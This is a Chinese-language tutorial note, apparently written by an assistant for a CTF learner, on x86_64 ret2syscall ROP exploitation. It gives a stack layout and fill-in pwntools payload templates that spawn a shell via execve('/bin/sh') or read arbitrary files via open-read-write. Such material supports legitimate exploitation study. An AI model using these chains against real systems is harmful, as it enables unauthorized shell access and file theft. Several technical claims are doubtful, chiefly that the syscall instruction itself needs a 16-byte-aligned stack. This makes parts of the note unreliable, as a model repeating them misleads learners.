ret2system
目录
ret2syscall 利用笔记(适用于 x86_64 Linux)
基本概念
ret2syscall 是一种 ROP 技术,通过控制寄存器后触发 syscall 指令,直接调用 Linux 内核提供的系统调用。
常见用途:
-
调用
execve("/bin/sh", 0, 0)获取 shell -
调用
open/read/write实现读文件 -
有时用于退出程序(exit)
ret2syscall 的优势是:
不需要 libc,不需要 system,只需要程序里存在 syscall 指令。
syscall 调用约定(x86_64)
Linux 下系统调用通过以下寄存器传参:
| 功能 | 寄存器 |
|---|---|
| 系统调用号 | rax |
| 第 1 个参数 | rdi |
| 第 2 个参数 | rsi |
| 第 3 个参数 | rdx |
| 第 4 个参数 | r10 |
| 第 5 个参数 | r8 |
| 第 6 个参数 | r9 |
触发系统调用必须执行:
syscall常见 syscall ID:
| 系统调用 | 号 |
|---|---|
| execve | 59 |
| open | 2 |
| read | 0 |
| write | 1 |
最常见的是构造:
execve("/bin/sh", 0, 0)对应寄存器:
rax = 59rdi = "/bin/sh" 地址rsi = 0rdx = 0syscall查找 syscall gadget
程序中常出现类似:
0x401234: syscall来自:
- 错误处理 stub
- plt 中的 __libc_start_main
- 手动编写的汇编段
查找方式:
ROPgadget --binary ./pwn | grep syscall或 IDA 中搜索:
text:0000000000402404 syscall通常我们只需要 syscall 指令本身即可,因为 rax/rdi/rsi/rdx 用其它 gadgets 设置。
构造 execve(“/bin/sh”) 示例流程
典型 ret2syscall 构造链:
-
在可控地址放置字符串 “/bin/sh\0”
-
找到 pop 寄存器的 gadgets:
-
pop rdi; ret
-
pop rsi; ret
-
pop rdx; ret
-
pop rax; ret
-
-
设置寄存器
-
跳到 syscall
跳板栈图(ASCII 栈图示例)
以下是一个典型 top-down 栈图,你偏好的 rbp-x 风格在 ROP 中对应 rsp+x 偏移,我保持一致画法:
rsp+0x00 → [ pop rax; ret ]rsp+0x08 → [ 59 ] ; execve syscall numberrsp+0x10 → [ pop rdi; ret ]rsp+0x18 → [ binsh_addr ] ; "/bin/sh"rsp+0x20 → [ pop rsi; ret ]rsp+0x28 → [ 0 ]rsp+0x30 → [ pop rdx; ret ]rsp+0x38 → [ 0 ]rsp+0x40 → [ syscall ] ; 最终触发 execve("/bin/sh",0,0)真实执行顺序:
-
pop rax → rax=59
-
pop rdi → rdi=“/bin/sh”
-
pop rsi → rsi=0
-
pop rdx → rdx=0
-
syscall → execve(“/bin/sh”)
放置 “/bin/sh” 字符串
一般写在 bss 段:
binsh = bss_addr + 0x100payload += pop_rdi; retpayload += binshpayload += write_str("/bin/sh\0")或直接用 libc 中的地址(如果 libc 泄露了):
next(libc.search(b"/bin/sh"))但 ret2syscall 通常不依赖 libc,所以推荐写到 bss。
常用 syscall 组合模板
以下结构可直接套用。
execve(“/bin/sh”, 0, 0)
payload = b"A"*offsetpayload += p64(pop_rax)payload += p64(59)payload += p64(pop_rdi)payload += p64(binsh_addr)payload += p64(pop_rsi)payload += p64(0)payload += p64(pop_rdx)payload += p64(0)payload += p64(syscall)open-read-write 套路
先打开文件再读写:
rax = 2 openrdi = filenamersi = 0rdx = 0syscall
rax = 0 readrdi = fdrsi = bufrdx = lensyscall
rax = 1 writerdi = 1rsi = bufrdx = lensyscall可用于读 flag、读任意文件。
常见坑位
1. syscall gadget 可能失败
有些程序带自定义沙箱,或者 syscall 在某些段不可执行。
2. 栈对齐问题(非常关键)
在 x86_64 下,执行 syscall 前系统要求:
rsp % 16 == 0否则 crash(或触发意外行为)。
通常让 ret 后的栈地址为:
payload_len % 16 == 8因为 ret 会使 rsp+=8,使其变成 16 对齐。
3. 找不到 pop 寄存器 gadget
可以使用 __libc_csu_init 的万能 gadget(你经常用的 ret2csu)来设置寄存器。
4. 程序中没有 syscall?
这类题会在某处隐藏 syscall,一般在:
__libc_start_main init stub错误处理段exit stubret2syscall vs ret2libc / ret2system
对比:
| 方法 | 依赖 | 优势 |
|---|---|---|
| ret2libc | libc 泄露 | 稳定 |
| ret2system | libc 中的 system() | 构造简单 |
| ret2syscall | 只需要 syscall 和一些 pop gadgets | 最轻依赖、最通用,可绕过禁用 libc 的环境 |
在无 PIE、无 NX、无 Canaries 的情况:ret2syscall 是最强武器。